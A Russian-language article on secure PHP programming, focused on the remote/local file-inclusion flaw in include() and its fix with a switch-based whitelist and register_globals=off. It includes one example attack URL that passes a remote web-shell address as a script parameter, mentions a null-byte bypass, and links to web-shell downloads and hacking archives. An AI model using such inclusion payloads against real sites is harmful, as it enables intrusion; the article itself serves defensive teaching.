Безопасное программирование на PHP
В этой статье я хочу рассказать основные принципы безопасного программирования на PHP. На написание статьи меня подтолкнул тот факт, что в интернете очень много статей о том как взламывать сайты через дыры в PHP-скрпитах, но очень мало советов (и все они разбросаны) как не делать ошибок, через которые сайт может быть взломан. Статью я решил разделить на несколько частей, каждая из которых посвящена какому то типу ошибок и примером, как этой ошибки избежать. В конце статьи я хочу дать общие советы. Так же хочу заметить, что в статье НЕТ конкретных примеров по взлому, а те кто хочет с ними познакомиться я отсылаю на очень хороший и большой архив - http://www.web-hack.ru/books/books.php?go=36 . В нем собрана большая коллекция статей посвященных взлому сайтов черех PHP-скрпиты. Итак, приступим.
=========== Include-баг ===========
Это очень старый и почти всем известный баг в скриптах, но к сожалению до сих пор очень актуальный. Ф-ция include() (ее аналог: inсlude_once()) служит для того, чтобы прикреплять к PHP-коду новые модули на PHP. Наиболее частой ошибкой с этой ф-цей является код: include("$file") , а переменная $file берется из параметра к скрипту (например, qwe.php?file=index.html). Хакеру просто остается создать на своем хосте PHP-файл с веб-шелом (http://www.web-hack.ru/download/info.php?go=77) и передать в параметре к скрипту адрес своего веб-шела (например, qwe.php?file=http://web-hack.ru/shell.php). Правда в этой ситуации жертву может спасти, то что в конфиге PHP запрещено инклудить файл с других серверов. Решением проблемы с Include-багом является отсутствие переменной передаваемой в запросе к скрипту, для инклуда. В таких случаях можно использовать конструкцию с оператором switch, например так:
switch ($case) // $case - имя переменной передаваемой в параметре к скрипту { case news: include("news.php"); break;
case articles: include("articles.php"); break;
... // и т.д.
default: include("index.html"); // если в переменной $case не будет передано значение, которое учтено выше, то открывается главная страница break; }
Многие наивные программисты думают, что если они сделают конструкцию типа include("$file.php"), то их не смогут сломать. Они глубоко ошибаются! Во-первых, в старых версиях PHP (например, PHP<=4.0.3pl1) присутствовал баг null-byte (знакомый еще из Perl), который позволял отбросить расширение (да и вообще, что угодно после переменной) файла. Во-вторых, даже если версия PHP на сервере новая, то можно проинклудить любой php-файл на этом сервер (если хватит прав на его чтение), а это тоже не есть хорошо. Так что запомните совет: по возможности НИКОГДА не передавайте переменные через параметр к скрипту, которые потом будут участвовать в ф-ции include(). Я конечно понимаю, что можно сделать крутые фильтры на эту переменную, но как показывает практика - "Береженного - бог бережет". Все выше описанное, так же относится к ф-циям: fopen(), require(), require_once() и inсlude_once().
Так же рекомендуя в конфиге PHP устанавливать register_globals=off (начиная с версии 4.2.0 переменная выключена по умолчанию), т.к. если ваш движек использует модули и в каком то модуле есть строка include("$file") , а значение переменной $file задается не в этом модуле, а в главном файле, то хакер может передать $file через параметр к файлу модуля в браузере.
Дата публикации: 02/04/2015 Прочитано: 11850 раз Дополнительно на данную тему:
Защита от hotlinking
Система защиты веб-портала. Часть 1
Система защиты веб-портала. Часть 2
Фильтрация данных в PHP
Методы проверки на правильность заполнения полей
Советы по защите сайта
Что же делать? Как защититься от хаксоров?
Как защитить сайт
Хранение файлов за пределами корневого каталога документов
Безопасность данных
|